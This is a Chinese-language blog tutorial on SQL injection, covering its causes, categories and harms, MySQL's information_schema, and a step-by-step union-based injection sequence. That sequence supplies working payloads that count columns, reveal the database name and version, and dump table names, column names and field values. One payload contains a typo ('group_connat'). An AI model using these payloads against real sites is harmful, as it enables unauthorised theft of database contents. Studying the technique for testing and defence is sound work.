当前位置:网站首页>SQL注入
SQL注入
2022-07-06 09:22:00 【不知名白帽】
SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术
SQL注入产生原理
- 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行。造成了SQL注入
- 使用了字符串拼接的方式构造SQL语句
SQL注入的分类
- 从注入手法分类可以分为:联合注入查询,报错型注入,布尔型注入,延时注入,堆叠注入
- 从注入类型上可以分为:字符型(即输入的输入使用符号进行过滤),数值型(即输入的输入未使用符号进行过滤)
- 从注入位置可以分为:GET数据(提交数据方式为GET,大多存在地址栏),POST(提交数据方式为POST,大多存在输入框中),HTTP头部(提交数据方式为HTTP头部),cookie数据(提交方式为cookie)
SQL注入的危害
分为两类:危害数据库里的数据,直接危害到网站的权限(需要满足条件)
- 数据库信息泄露
- 网页篡改:登陆后台发布恶意内容
- 网站挂马:当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
- 私自添加系统账号
- 读写文件获取webshell
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必要知识
- 在MYSQL5.0以上的版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
- 数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
- 常用参数
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
Table_name:表名
Column_name:列名
Table_schema:数据库名
User() 查看当前MYSQL登陆的用户名
Database() 查看当前使用MYSQL数据库名
Version() 查看当前MYSQL版本
如何判断注入点
- 如果页面中MYSQL报错,证明该页面中存在SQL注入漏洞
单引号’
And 1=1
And 1=2
Select * from users where id=1 and 1=1 limit 0,1 正常
Select * from users where id=1 and 1=2 limit 0,2 错误
- 逻辑运算符(或与非)
真且真 = 真
真且假 = 假
真或假 = 真
Select * from users where id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
Select * from users where id=1 or 1=1 limit 0,1 正常
Select * from users where id=1 or 1=2 limit 0,1 正常
SQL注入利用
1.根据注入位置数据类型将sql注入分类
2.利用order判断字段数
Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错
?id=1’ order by 3 --+
3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号
?id=-1 union select 1,database(),version() --+
5.利用 union select 联合查询,获取表名
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’已知库名’ --+
6.利用 union select 联合查询,获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’已知表名’ --+
7.利用 union select 联合查询,获取字段值
?id=-1’ union select 1,2,group_connat(已知字段名,’:’,已知字段名) from 已知表名 --+
边栏推荐
- [data processing of numpy and pytoch]
- Reinforcement learning series (I): basic principles and concepts
- [insert, modify and delete data in the headsong educator data table]
- 实验五 类和对象
- Canvas foundation 1 - draw a straight line (easy to understand)
- Strengthen basic learning records
- Force deduction 152 question multiplier maximum subarray
- It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan
- 2022泰迪杯数据挖掘挑战赛C题思路及赛后总结
- Hackmyvm target series (3) -visions
猜你喜欢

7-7 7003 组合锁(PTA程序设计)

QT meta object qmetaobject indexofslot and other functions to obtain class methods attention

Reinforcement learning series (I): basic principles and concepts

扑克牌游戏程序——人机对抗

Callback function ----------- callback

. How to upload XMIND files to Jinshan document sharing online editing?

Renforcer les dossiers de base de l'apprentissage

Canvas foundation 2 - arc - draw arc

Hackmyvm Target Series (3) - vues

Nuxtjs quick start (nuxt2)
随机推荐
Wechat applet
Hackmyvm target series (7) -tron
Renforcer les dossiers de base de l'apprentissage
使用Spacedesk实现局域网内任意设备作为电脑拓展屏
Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis
【头歌educoder数据表中数据的插入、修改和删除】
Principles, advantages and disadvantages of two persistence mechanisms RDB and AOF of redis
This time, thoroughly understand the MySQL index
Using qcommonstyle to draw custom form parts
简述xhr -xhr的基本使用
About the parental delegation mechanism and the process of class loading
Strengthen basic learning records
[modern Chinese history] Chapter 6 test
It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan
Yugu p1012 spelling +p1019 word Solitaire (string)
Implementation of count (*) in MySQL
Custom RPC project - frequently asked questions and explanations (Registration Center)
HackMyvm靶机系列(3)-visions
7-7 7003 组合锁(PTA程序设计)
The United States has repeatedly revealed that the yield of interest rate hiked treasury bonds continued to rise